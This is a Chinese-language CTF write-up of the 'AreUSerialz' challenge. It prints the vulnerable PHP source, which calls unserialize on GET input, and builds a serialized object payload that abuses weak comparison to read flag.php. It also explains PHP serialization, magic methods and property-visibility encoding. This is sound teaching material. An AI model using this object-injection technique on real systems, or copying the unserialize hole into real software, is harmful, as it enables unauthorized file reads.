BUUCTF复现[网鼎杯 2020 青龙组]AreUSerialz
解题思路
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; //%00*%00属性名
protected $filename;
protected $content;
function __construct() { //该方法在创建对象时自动调用
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() { //如果op=1调用write函数,若op=2,调用read函数,否则输出Bad Hacker!
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() { //该方法在销毁对象时使用,会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}//传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化
分析一下源代码,看到了有unserialize()函数,这道题坑定是PHP反序列化无疑了。
首先从程序的入口来看:
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
GET方式传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化。(对于PHP反序列化不懂的同学可以先看一下文末)
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
这里是对op进行判断,如果op=2那么将op改为1,否则执行process方法。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process方法在op等于2时,读取filename文件的内容并输出。这里还考察了===
和 ==
的区别,一个是强类型比较,一个是弱类型比较。我们可以令op=2,这里的2是整数int类型,op=2时,op===
"2"为false,op=="2"为true
接着可以写一个对象构造序列化,然后传入str,就可以得到flag了
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "oavinci";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}
下面了解一下PHP的序列化和反序列化:
序列化:
PHP 的序列化是一个将各种类型的数据,压缩并按照一定格式存储的过程,它所使用的函数是serialize()
<?php
class FileHandler {
public $ab=2;
public $cd="flag.php";
public $efg="hello";
}
$a=new FileHandler();
$b=serialize($a);
echo $b;
序列化后的输出如下:
O:11:"FileHandler":3:{s:2:"ab";i:2;s:2:"cd";s:8:"flag.php";s:3:"efg";s:5:"hello";}
反序列化
反序列化就是将压缩格式化的字符串还原。
魔术方法
接着了解一下PHP里边的几个魔术方法
(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)wakeup() :unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():serialize()之前自动调用
属性的权限
这里有个很重要的知识点:
<?php
class FileHandler {
public $op = 2;
private $oa = "123";
protected $ob = "456";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
序列化后的结果如下:
O:11:"FileHandler":3:{s:2:"op";i:2;s:15:"FileHandleroa";s:3:"123";s:5:"*ob";s:3:"456";}
我们会发现里边的属性名明明是oa 但序列化后的结果却是FileHandleroa,并且他的长度明明是13,但序列化后的结果却是15;属性名明明是ob,但学历恶化厚的结果却是*ob,长度也变成了5。
这里就涉及到PHP的属性访问权限了,序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我定义的类的属性有三种 private protected 和 默认的 public(写不写都一样)
- Puiblic 权限
他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符。
- Private 权限
该权限是私有权限,也就是说只能 FileHandler类使用,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,这是因为private权限的属性在序列话的时候会在属性名的前面加上类的名字,并在类的前后加上两个空白符,就是这样:%00类名%00属性名
-
Protected 权限
Protected 权限序列化后的格式是:%00*%00属性名